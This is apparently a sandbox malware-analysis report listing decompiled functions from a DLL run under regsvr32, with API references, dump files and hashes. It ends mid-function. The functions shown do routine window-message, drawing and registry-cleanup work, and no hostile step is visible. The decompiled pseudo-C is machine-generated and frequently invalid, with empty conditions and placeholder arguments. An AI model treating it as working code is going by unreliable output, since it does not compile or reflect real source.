Function 10022988 Relevance: 6.1, APIs: 4, Instructions: 123
windowCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E10022988(void* __ebx, void* __edx, void* __esi, intOrPtr* __rax, long long __rcx, long long __rdx, void* __rbp, long long __r8, void* __r13, long long _a8, long long _a16, long long _a24, char _a32) {
				char _v56;
				long long _v64;
				void* _v72;
				long long _v88;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __r12;
				void* _t32;
				void* _t34;
				intOrPtr _t35;
				void* _t41;
				intOrPtr _t42;
				void* _t43;
				void* _t53;
				void* _t63;
				intOrPtr* _t69;
				intOrPtr _t70;
				long long _t72;
				intOrPtr _t73;
				intOrPtr* _t76;
				char _t77;
				char _t79;
				intOrPtr* _t95;
				intOrPtr* _t97;
				long long _t98;
				long long _t99;
				void* _t100;
				intOrPtr _t106;
				long long _t108;
				intOrPtr* _t109;
				long long _t110;
				void* _t111;

				_t111 = __r13;
				_t100 = __rbp;
				_t69 = __rax;
				_t63 = __esi;
				_t60 = __edx;
				_t53 = __ebx;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v64 = 0xfffffffe;
				_t98 = __r8;
				_t110 = __rdx;
				_t99 = __rcx;
				_t107 =  &_v72;
				_t105 =  &_v56;
				L1004F122();
				_t79 = _v72;
				_t32 = GlobalLock(??);
				_t76 = __rax;
				E10029288(_t32);
				_t109 = _t69;
				if((0 | _t69 != 0x00000000) == 0) {
					E10001000(0x80004005, __edx, _t69, _t76, _t79, __r8,  &_v56,  &_v72);
					asm("int3");
				}
				_t70 =  *_t69;
				_t34 =  *((intOrPtr*)(_t70 + 0x18))();
				_t71 = _t70 + 0x18;
				_a32 = _t70 + 0x18;
				if(_t76 != 0) {
					_t35 = E10031330(_t34, _t76);
				} else {
					_t35 = 0;
				}
				r8d = _t35;
				E1000EA20(_t53, _t60, _t71,  &_a32, _t76, _t99, _t100, _t105, _t107, _t109, _t110, _t111);
				GlobalUnlock(??);
				_t72 = _v72;
				_v88 = _t72;
				r9d = 0x8000;
				r8d = 0x3e4;
				L1004F11C();
				_t108 = _t72;
				_t106 =  *((intOrPtr*)(_t99 + 0x40));
				_t62 = 0x3e4;
				PostMessageA(??, ??, ??, ??);
				if(E10019A40(_t99) != 0) {
					_t77 = _a32;
					if( *((intOrPtr*)(_t77 - 8)) > 1) {
						_t62 =  *((intOrPtr*)(_t77 - 0x10));
						E1000E824( *((intOrPtr*)(_t77 - 0x10)),  &_a32);
						_t77 = _a32;
					}
					E1001A994(0x3e4, _t62, _t63, _t72, _t106, _t108, _t109);
					_t87 =  *((intOrPtr*)(_t72 + 8));
					_t73 =  *((intOrPtr*)( *((intOrPtr*)(_t72 + 8))));
					_t41 =  *((intOrPtr*)(_t73 + 0x140))();
					if(_t77 != 0) {
						_t87 = _t77;
						_t42 = E10031330(_t41, _t77);
						if(_t42 < 0) {
							goto L19;
						} else {
							goto L15;
						}
					} else {
						_t42 = 0;
						L15:
						if(_t42 >  *((intOrPtr*)(_t77 - 0xc))) {
							L19:
							_t43 = E10001000(0x80070057, _t62, _t73, _t77, _t87, _t98, _t106, _t108);
						} else {
							 *((intOrPtr*)(_t77 - 0x10)) = _t42;
							 *((char*)(_t73 + _t77)) = 0;
							_t95 = _t77 - 0x18;
							asm("lock xadd [edx+0x10], eax");
							if(0x1fffffffe <= 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t95)) + 8))();
							}
							_t43 = 0;
						}
					}
				} else {
					_t97 = _a32 + 0xffffffe8;
					asm("lock xadd [edx+0x10], eax");
					if(0x1fffffffe <= 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_t97)) + 8))();
					}
					_t43 = 0;
				}
				return _t43;
			}

0x10022988
0x10022988
0x10022988
0x10022988
0x10022988
0x10022988
0x10022988
0x1002298d
0x10022992
0x100229a0
0x100229a9
0x100229ac
0x100229af
0x100229b2
0x100229b7
0x100229c4
0x100229c9
0x100229ce
0x100229d4
0x100229d7
0x100229dc
0x100229e9
0x100229f0
0x100229f5
0x100229f5
0x100229f6
0x100229fc
0x100229ff
0x10022a03
0x10022a0e
0x10022a17
0x10022a10
0x10022a10
0x10022a10
0x10022a1c
0x10022a2a
0x10022a34
0x10022a55
0x10022a5a
0x10022a64
0x10022a6a
0x10022a73
0x10022a78
0x10022a7b
0x10022a7f
0x10022a84
0x10022a94
0x10022ac3
0x10022acf
0x10022ad1
0x10022adc
0x10022ae1
0x10022ae1
0x10022ae9
0x10022aee
0x10022af2
0x10022af8
0x10022b01
0x10022b07
0x10022b0a
0x10022b11
0x00000000
0x00000000
0x00000000
0x00000000
0x10022b03
0x10022b03
0x10022b13
0x10022b16
0x10022b43
0x10022b48
0x10022b18
0x10022b18
0x10022b1d
0x10022b21
0x10022b2a
0x10022b34
0x10022b3c
0x10022b3c
0x10022b3f
0x10022b3f
0x10022b16
0x10022a96
0x10022a9e
0x10022aa7
0x10022ab1
0x10022ab9
0x10022ab9
0x10022abc
0x10022abc
0x10022b57

APIs

GlobalLock.KERNEL32 ref: 100229CE
GlobalUnlock.KERNEL32 ref: 10022A34
ReuseDDElParam.USER32 ref: 10022A73
PostMessageA.USER32 ref: 10022A84

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Global$LockMessageParamPostReuseUnlock
String ID:
API String ID: 1233369038-0
Opcode ID: 0304a7cf5e38a4bab16b4088b1fd1b7220c0bf956cedd93690d3c84aee2e0842
Instruction ID: b8bf9872b63bc79458ff1fda310df82279ac5f666a9d9f7ef19f9780bb05699c
Opcode Fuzzy Hash: 0304a7cf5e38a4bab16b4088b1fd1b7220c0bf956cedd93690d3c84aee2e0842
Instruction Fuzzy Hash: 3E41B436700A8192DB11DF75E84439D7390FB89BE4F548625AF6E8BB95EF38C845C740

Uniqueness

Uniqueness Score: -1.00%

Function 1002C218 Relevance: 6.1, APIs: 4, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E1002C218(signed int __edx, void* __rcx, long long _a8, intOrPtr _a12) {
				char _v72;
				long long _v88;
				long long _v96;
				long long _v104;
				int _t39;
				int _t41;
				signed int _t43;
				signed int _t44;
				void* _t46;
				signed int _t47;
				signed int _t49;
				signed int _t52;
				long long _t63;
				long long _t65;
				void* _t70;
				void* _t72;
				long long _t73;
				void* _t76;
				void* _t78;
				void* _t80;
				long long _t81;
				long long _t82;
				long long _t83;

				_t63 = _t73;
				_t72 = __rcx;
				_t47 = __edx;
				 *((intOrPtr*)(_t63 + 0x40)) = 1;
				 *((intOrPtr*)(_t63 + 0x44)) = 1;
				GetStockObject(??);
				E1000FA50(_t63, _t63);
				_t83 = _t63;
				E10018998(_t70, _t76, _t78);
				_t49 =  *(_t72 + 0x84);
				_t52 = 0xa000;
				_t81 = _t83;
				_t82 = _t63;
				if((0x0000a000 & _t49) == 0) {
					if((0x00005000 & _t49) == 0) {
						_t39 = GetSystemMetrics();
						_t49 = 0x21;
						_a8 = _t39 - 1;
						_t41 = GetSystemMetrics(??);
						_t52 = 0xa000;
						_a12 = _t41 - 1;
						_t43 =  *(_t72 + 0x88);
						if((0x0000a000 & _t43) == 0 ||  *((intOrPtr*)(_t72 + 0x8c)) != 0) {
							if((0x00005000 & _t43) == 0 ||  *((intOrPtr*)(_t72 + 0x8c)) == 0) {
								asm("movdqu xmm0, [esi+0x5c]");
							} else {
								goto L8;
							}
						} else {
							L8:
							asm("movdqu xmm0, [esi+0x4c]");
						}
						_t81 = _t82;
					} else {
						asm("movdqu xmm0, [esi+0x3c]");
					}
				} else {
					asm("movdqu xmm0, [esi+0x2c]");
				}
				asm("movdqu [esp+0x40], xmm0");
				if(_t47 != 0) {
					_a12 = 0;
					_a8 = 0;
				}
				_t44 =  *(_t72 + 0x84);
				if((_t52 & _t44) != 0 || (0x00005000 & _t44) != 0) {
					r8d = 0xffffffff;
					InflateRect(??, ??, ??);
				}
				_t65 = _a8;
				_t84 =  !=  ? _t82 : _t83;
				_v88 =  !=  ? _t82 : _t83;
				_v96 = _t81;
				_v104 =  *((intOrPtr*)(_t72 + 0x20));
				_t46 = E10018A70(_t47, _t49,  *((intOrPtr*)(_t72 + 0x98)),  &_v72, _t65, _t72 + 0x10, _t80);
				asm("movdqu xmm5, [esp+0x40]");
				 *((long long*)(_t72 + 0x20)) = _t65;
				asm("movdqu [esi+0x10], xmm5");
				bpl = _t81 == _t82;
				 *((intOrPtr*)(_t72 + 0x28)) = 0;
				return _t46;
			}

0x1002c223
0x1002c22a
0x1002c22f
0x1002c231
0x1002c238
0x1002c23f
0x1002c248
0x1002c24d
0x1002c250
0x1002c255
0x1002c25b
0x1002c262
0x1002c267
0x1002c26f
0x1002c27a
0x1002c288
0x1002c28e
0x1002c296
0x1002c29d
0x1002c2a3
0x1002c2ab
0x1002c2b2
0x1002c2ba
0x1002c2c6
0x1002c2d7
0x00000000
0x00000000
0x00000000
0x1002c2d0
0x1002c2d0
0x1002c2d0
0x1002c2d0
0x1002c2dc
0x1002c27c
0x1002c27c
0x1002c27c
0x1002c271
0x1002c271
0x1002c271
0x1002c2e1
0x1002c2e7
0x1002c2e9
0x1002c2f0
0x1002c2f0
0x1002c2f7
0x1002c2ff
0x1002c30f
0x1002c312
0x1002c312
0x1002c31f
0x1002c32e
0x1002c336
0x1002c343
0x1002c348
0x1002c34d
0x1002c352
0x1002c35b
0x1002c35f
0x1002c364
0x1002c368
0x1002c379

APIs

GetStockObject.GDI32 ref: 1002C23F

Part of subcall function 10018998: CreateBitmap.GDI32 ref: 10018A00
Part of subcall function 10018998: CreatePatternBrush.GDI32 ref: 10018A11
Part of subcall function 10018998: DeleteObject.GDI32 ref: 10018A21

InflateRect.USER32 ref: 1002C312

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CreateObject$BitmapBrushDeleteInflatePatternRectStock
String ID:
API String ID: 3923860780-0
Opcode ID: 65de2574785f4f18097ca726426690670542cd593f03772314b852e2ab993616
Instruction ID: 378e2ae329a4ffae0412675e5f53f7b6cfd71aaabe204bc425fd00c96ddc45a5
Opcode Fuzzy Hash: 65de2574785f4f18097ca726426690670542cd593f03772314b852e2ab993616
Instruction Fuzzy Hash: 08314F37604785C7D625CFA9B400B9AB7A1F789780F904219DFCA47B44EF78E549DB04

Uniqueness

Uniqueness Score: -1.00%

Function 100154A8 Relevance: 6.1, APIs: 4, Instructions: 91
windowCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E100154A8(void* __ebx, void* __ebp, void* __eflags, long long __rax, void* __rcx, void* __rdx, void* __r8, void* __r11) {
				signed short _t23;
				signed int _t30;
				void* _t32;
				void* _t38;
				void* _t40;
				long long _t48;
				long long _t49;
				long long _t64;
				void* _t65;
				void* _t66;
				void* _t67;
				void* _t70;
				void* _t71;

				_t70 = __r11;
				_t67 = __r8;
				_t63 = __rdx;
				_t48 = __rax;
				_t40 = __eflags;
				_t32 = __ebx;
				 *((long long*)(_t66 + 0x30)) = 0xfffffffe;
				_t38 = r8d;
				_t71 = __rdx;
				_t65 = __rcx;
				E10019368(_t66 + 0x40);
				E10012554(_t40, _t48, _t66 + 0x80);
				GetTopWindow(??);
				_t64 = _t48;
				if(_t48 != 0) {
					do {
						 *((long long*)(_t66 + 0xc0)) = _t64;
						_t23 = GetDlgCtrlID(??);
						_t33 = _t23 & 0x0000ffff;
						 *(_t66 + 0x48) = _t23 & 0x0000ffff;
						_t49 = _t66 + 0x80;
						 *((long long*)(_t66 + 0x60)) = _t49;
						E1001439C(_t32, _t23 & 0x0000ffff, _t38, _t49, _t64, _t63, _t70);
						if(_t49 == 0) {
							L3:
							 *((long long*)(_t66 + 0x20)) = 0;
							r8d = 0xffffffff;
							if(E1001917C(_t33,  *(_t66 + 0x48), _t38, _t49, _t65, _t63, _t67, _t66 + 0x40, _t70) == 0) {
								_t32 = _t38;
								if(_t38 != 0) {
									r9d = 0;
									r8d = 0;
									SendMessageA(??, ??, ??, ??);
									asm("dec eax");
									if(r8d < 0) {
										_t30 = E1001990C(_t66 + 0x80) & 0x0000000f;
										__eflags = _t30 - 3;
										if(_t30 == 3) {
											L11:
											_t32 = 0;
											__eflags = 0;
										} else {
											__eflags = _t30 - 6;
											if(_t30 == 6) {
												goto L11;
											} else {
												__eflags = _t30 - 7;
												if(_t30 == 7) {
													goto L11;
												} else {
													__eflags = _t30 - 9;
													if(_t30 == 9) {
														goto L11;
													}
												}
											}
										}
									} else {
										_t32 = 0;
									}
								}
								r8d = _t32;
								_t63 = _t71;
								E10019398(_t66 + 0x40, _t71);
							}
						} else {
							 *((long long*)(_t66 + 0x20)) = 0;
							r8d = 0xbd11ffff;
							if(E1001917C(_t33, 0, _t38, _t49, _t49, _t63, _t67, _t66 + 0x40, _t70) == 0) {
								goto L3;
							}
						}
						GetWindow();
						_t64 = _t49;
					} while (_t49 != 0);
				}
				 *((long long*)(_t66 + 0xc0)) = 0;
				return E10015008(_t66 + 0x80);
			}

0x100154a8
0x100154a8
0x100154a8
0x100154a8
0x100154a8
0x100154a8
0x100154b6
0x100154bf
0x100154c2
0x100154c5
0x100154cd
0x100154da
0x100154e4
0x100154ea
0x100154f0
0x100154f6
0x100154f6
0x10015501
0x10015507
0x1001550a
0x1001550e
0x10015516
0x1001551e
0x10015526
0x1001554e
0x1001554e
0x1001555c
0x10015570
0x10015572
0x10015576
0x10015578
0x1001557b
0x1001558b
0x10015591
0x10015596
0x100155a9
0x100155ac
0x100155af
0x100155c0
0x100155c0
0x100155c0
0x100155b1
0x100155b1
0x100155b4
0x00000000
0x100155b6
0x100155b6
0x100155b9
0x00000000
0x100155bb
0x100155bb
0x100155be
0x00000000
0x00000000
0x100155be
0x100155b9
0x100155b4
0x10015598
0x10015598
0x10015598
0x10015596
0x100155c2
0x100155c5
0x100155cd
0x100155cd
0x10015528
0x10015528
0x10015538
0x10015548
0x00000000
0x00000000
0x10015548
0x100155da
0x100155e0
0x100155e3
0x100154f6
0x100155ec
0x10015612

APIs

GetTopWindow.USER32 ref: 100154E4
GetDlgCtrlID.USER32 ref: 10015501
SendMessageA.USER32 ref: 1001558B
GetWindow.USER32 ref: 100155DA

Part of subcall function 1001990C: GetWindowLongA.USER32 ref: 10019923

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$CtrlLongMessageSend
String ID:
API String ID: 3707024519-0
Opcode ID: ac5ad96ba88928a9768f1db222b2bee34ced4841b94c0d0c10fd8bcb56e6add9
Instruction ID: 101d1659cb28664b732ffa9e355f324e03cc9ddffa61716c66e20201106e446b
Opcode Fuzzy Hash: ac5ad96ba88928a9768f1db222b2bee34ced4841b94c0d0c10fd8bcb56e6add9
Instruction Fuzzy Hash: 6F319432315F8182DB61CB15E8547AE72A6F7897D1F540225ED9E8FB98EF39C984CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1001FBE8 Relevance: 6.1, APIs: 4, Instructions: 88
windowCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E1001FBE8(void* __ebx, void* __ecx, signed int __edx, void* __eflags, intOrPtr __rax, intOrPtr* __rcx, void* __rdx, void* __r8, void* __r9) {
				intOrPtr _t27;
				void* _t38;
				signed int _t42;
				signed int _t43;
				intOrPtr _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				void* _t64;
				void* _t65;
				intOrPtr _t66;
				void* _t67;
				void* _t70;

				_t68 = __r9;
				_t67 = __r8;
				_t64 = __rdx;
				_t54 = __rax;
				_t40 = __edx;
				_t38 = __ebx;
				_t70 = __r9;
				_t43 = r8d;
				_t42 = __edx;
				_t55 = __rcx;
				E1001522C(__rcx);
				_t66 = _t54;
				if(_t54 == 0) {
					E1000E3A4();
					asm("int3");
				}
				_t57 =  *((intOrPtr*)(_t55 + 0xe0));
				if(_t57 == 0) {
					L4:
					if(_t43 != 0xffff) {
						if(_t42 == 0 || (_t43 & 0x00000810) != 0) {
							 *(_t55 + 0x128) = 0;
						} else {
							if(_t65 - 0xf000 > 0x1ef) {
								if(_t42 < 0xff00) {
									 *(_t55 + 0x128) = _t42;
								} else {
									 *(_t55 + 0x128) = 0xef1f;
								}
							} else {
								 *(_t55 + 0x128) = (_t65 - 0xf000 >> 4) + 0xef00;
							}
						}
						 *(_t66 + 0x78) =  *(_t66 + 0x78) | 0x00000040;
					} else {
						 *(_t55 + 0x78) =  *(_t55 + 0x78) & 0xffffffbf;
						if( *((intOrPtr*)(_t66 + 0xc4)) != 0) {
							 *(_t55 + 0x128) = 0xe002;
						} else {
							 *(_t55 + 0x128) = 0xe001;
						}
						r8d =  *(_t55 + 0x128);
						r9d = 0;
						_t40 = 0x362;
						SendMessageA(??, ??, ??, ??);
						_t69 =  *_t55;
						 *((intOrPtr*)( *_t55 + 0x2a8))();
						if(_t54 != 0) {
							UpdateWindow();
						}
					}
					_t27 =  *((intOrPtr*)(_t55 + 0x12c));
					if( *(_t55 + 0x128) == _t27) {
						L22:
						return _t27;
					} else {
						GetParent();
						_t27 = E10014360(_t38, _t40, _t54, _t54, _t64, _t67, _t68, _t69);
						if(_t54 == 0) {
							goto L22;
						}
						r9d = 0;
						r8d = 0;
						return PostMessageA(??, ??, ??, ??);
					}
				}
				_t54 =  *_t57;
				_t68 = _t70;
				r8d = _t43;
				_t40 = _t42;
				_t27 =  *((intOrPtr*)(_t54 + 0xf8))();
				if(_t27 != 0) {
					goto L22;
				}
				goto L4;
			}

0x1001fbe8
0x1001fbe8
0x1001fbe8
0x1001fbe8
0x1001fbe8
0x1001fbe8
0x1001fbf3
0x1001fbf6
0x1001fbf9
0x1001fbfb
0x1001fbfe
0x1001fc06
0x1001fc09
0x1001fc0b
0x1001fc10
0x1001fc10
0x1001fc11
0x1001fc1b
0x1001fc36
0x1001fc3c
0x1001fc9a
0x1001fce3
0x1001fca4
0x1001fcaf
0x1001fccd
0x1001fcdb
0x1001fccf
0x1001fccf
0x1001fccf
0x1001fcb1
0x1001fcbf
0x1001fcbf
0x1001fcaf
0x1001fced
0x1001fc3e
0x1001fc3e
0x1001fc49
0x1001fc57
0x1001fc4b
0x1001fc4b
0x1001fc4b
0x1001fc61
0x1001fc6c
0x1001fc6f
0x1001fc74
0x1001fc7a
0x1001fc80
0x1001fc8a
0x1001fc90
0x1001fc90
0x1001fc8a
0x1001fcf1
0x1001fcfd
0x1001fd35
0x1001fd35
0x1001fcff
0x1001fd03
0x1001fd0c
0x1001fd14
0x00000000
0x00000000
0x1001fd1a
0x1001fd1d
0x00000000
0x1001fd25
0x1001fcfd
0x1001fc1d
0x1001fc20
0x1001fc23
0x1001fc26
0x1001fc28
0x1001fc30
0x00000000
0x00000000
0x00000000

APIs

SendMessageA.USER32 ref: 1001FC74
UpdateWindow.USER32 ref: 1001FC90
GetParent.USER32 ref: 1001FD03
PostMessageA.USER32 ref: 1001FD25

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Message$ParentPostSendUpdateWindow
String ID:
API String ID: 4141989945-0
Opcode ID: d211299d52a8cdc3a33cd49e686207bdfd9d9274c116a219f1bcf11209c8ea6c
Instruction ID: 3a9ec819bdd2931515c8293c5c5471796cd831b56ad8f6d848f74c0daea40ab8
Opcode Fuzzy Hash: d211299d52a8cdc3a33cd49e686207bdfd9d9274c116a219f1bcf11209c8ea6c
Instruction Fuzzy Hash: 72319032601A8986E764CF25E5847BC36A0FB98F98F290039CE4A4F759DF74C8D5A750

Uniqueness

Uniqueness Score: -1.00%

Function 10053C90 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E10053C90(void* __edx, struct _CRITICAL_SECTION* __rcx, void* __rdx, void* __rdi, void* __rsi, void* __r9) {
				int _t16;
				void* _t17;
				void* _t23;
				intOrPtr _t26;
				struct _CRITICAL_SECTION* _t27;
				struct _CRITICAL_SECTION* _t28;
				struct _CRITICAL_SECTION* _t29;
				void* _t38;

				_t38 = __rsi;
				_t29 = __rcx;
				_push(__rsi);
				_t27 = __rcx;
				if(__rcx != 0) {
					if( *((intOrPtr*)(__rcx)) == 0) {
						L12:
						_t17 = 0;
						goto L13;
					} else {
						if( *((intOrPtr*)(__rcx)) != 0x48) {
							goto L1;
						} else {
							_t23 = 0;
							if( *((intOrPtr*)(__rcx + 0x40)) <= 0) {
								L9:
								_t30 =  *((intOrPtr*)(_t27 + 0x38));
								if( *((intOrPtr*)(_t27 + 0x38)) != 0) {
									E1002E330(_t26, _t30);
									 *((long long*)(_t27 + 0x38)) = 0;
								}
								 *(_t27 + 0x40) = 0;
								 *(_t27 + 0x44) = 0;
								DeleteCriticalSection(??);
								 *_t27 = 0;
								goto L12;
							} else {
								while(_t38 >= 0 && _t23 <  *(_t27 + 0x40)) {
									_t26 =  *((intOrPtr*)(_t27 + 0x38));
									_t16 = UnregisterClassA(??, ??);
									_t23 = _t23 + 1;
									_t38 = _t38 + 2;
									if(_t23 <  *(_t27 + 0x40)) {
										continue;
									} else {
										goto L9;
									}
									goto L18;
								}
								r9d = 0;
								r8d = 0;
								RaiseException(??, ??, ??, ??);
								asm("int3");
								asm("int3");
								asm("int3");
								_t28 = _t29;
								DeleteCriticalSection(_t27);
								_t33 =  *((intOrPtr*)(_t28 + 0x50));
								if( *((intOrPtr*)(_t28 + 0x50)) != 0) {
									_t16 = E1002E330(_t26, _t33);
									 *((long long*)(_t28 + 0x50)) = 0;
								}
								 *(_t28 + 0x58) = 0;
								 *(_t28 + 0x5c) = 0;
								return _t16;
							}
						}
					}
				} else {
					L1:
					_t17 = 0x80070057;
					L13:
					return _t17;
				}
				L18:
			}

0x10053c90
0x10053c90
0x10053c93
0x10053c9f
0x10053ca2
0x10053cae
0x10053d19
0x10053d19
0x00000000
0x10053cb0
0x10053cb3
0x00000000
0x10053cb5
0x10053cb5
0x10053cba
0x10053ce5
0x10053ce5
0x10053cec
0x10053cee
0x10053cf3
0x10053cf3
0x10053cff
0x10053d06
0x10053d0d
0x10053d13
0x00000000
0x10053cbc
0x10053cbe
0x10053cc8
0x10053cd3
0x10053cd9
0x10053cdc
0x10053ce3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10053ce3
0x10053d24
0x10053d27
0x10053d33
0x10053d39
0x10053d3a
0x10053d3b
0x10053d42
0x10053d49
0x10053d4f
0x10053d56
0x10053d58
0x10053d5d
0x10053d5d
0x10053d65
0x10053d6c
0x10053d78
0x10053d78
0x10053cba
0x10053cb3
0x10053ca4
0x10053ca4
0x10053ca4
0x10053d1b
0x10053d23
0x10053d23
0x00000000

APIs

UnregisterClassA.USER32 ref: 10053CD3
DeleteCriticalSection.KERNEL32 ref: 10053D0D
RaiseException.KERNEL32 ref: 10053D33
DeleteCriticalSection.KERNEL32 ref: 10053D49

Part of subcall function 1002E330: HeapFree.KERNEL32 ref: 1002E346
Part of subcall function 1002E330: GetLastError.KERNEL32(?,?,00000000,10035F46,?,?,?,?,10032429,?,?,?,?,1002E31C), ref: 1002E358

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalDeleteSection$ClassErrorExceptionFreeHeapLastRaiseUnregister
String ID:
API String ID: 1206551879-0
Opcode ID: a5667a2ff5dfa1b1677bc9eabd97ef5afb14139a4fa720b4a252d9d30727c520
Instruction ID: 5c525f7d2ac2102f80393c4acda21b7e2b54a4849bceff9c51ede4acc7001593
Opcode Fuzzy Hash: a5667a2ff5dfa1b1677bc9eabd97ef5afb14139a4fa720b4a252d9d30727c520
Instruction Fuzzy Hash: 1F21F377A02650CBEB5ACF75E84475D37B0FB44F89F048424CE0A07204DB7988CACB90

Uniqueness

Uniqueness Score: -1.00%

Function 1001D620 Relevance: 6.1, APIs: 4, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32 ref: 1001D65E
RegEnumKeyA.ADVAPI32 ref: 1001D680
RegDeleteKeyA.ADVAPI32 ref: 1001D706
RegCloseKey.ADVAPI32 ref: 1001D713

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CloseDeleteEnumOpen
String ID:
API String ID: 4142876296-0
Opcode ID: 927305bcf061f5d8886b45b0e7a91d8474fc8d3f2607483df1b50fda135ddea0
Instruction ID: 4bfe00d437f0f16ddae153d7898b0b03d2aee6a77fa7e5495fa0a296d8caae42
Opcode Fuzzy Hash: 927305bcf061f5d8886b45b0e7a91d8474fc8d3f2607483df1b50fda135ddea0
Instruction Fuzzy Hash: 88212576714A8182D721EB25F85035A63A1F78C7F4F545322EAAD877E4DF78C985C700

Uniqueness

Uniqueness Score: -1.00%

Function 10025140 Relevance: 6.1, APIs: 4, Instructions: 64
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E10025140(void* __esi, intOrPtr __rax, long long __rcx, void* __rdx) {
				void* _t30;
				void* _t31;
				void* _t33;
				void* _t38;
				void* _t39;
				intOrPtr _t45;
				long long _t46;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;

				_t54 = __rdx;
				_t45 = __rax;
				_t38 = __esi;
				_t57 =  *((intOrPtr*)(__rcx));
				_t56 = __rdx;
				_t1 = _t54 + 2; // 0x100000001
				_t39 = _t1;
				_t46 = __rcx;
				_t33 =  >  ? _t39 : 0xffffffff;
				if( *((intOrPtr*)( *((intOrPtr*)(__rcx)) + 0x2c8))() != 0) {
					L11:
					return _t39;
				}
				_t48 =  *((intOrPtr*)(__rcx + 0x70));
				if( *((intOrPtr*)(__rcx + 0x70)) == 0) {
					GetParent();
					_t48 = __rax;
				}
				E10014360(_t30, _t33, _t45, _t48, _t54, _t57, _t59, _t60);
				E1001A9E4(_t30, _t31, _t33, _t38, _t45, _t48, _t54, _t57, _t59, _t60);
				if(_t56 != 0xffffffff) {
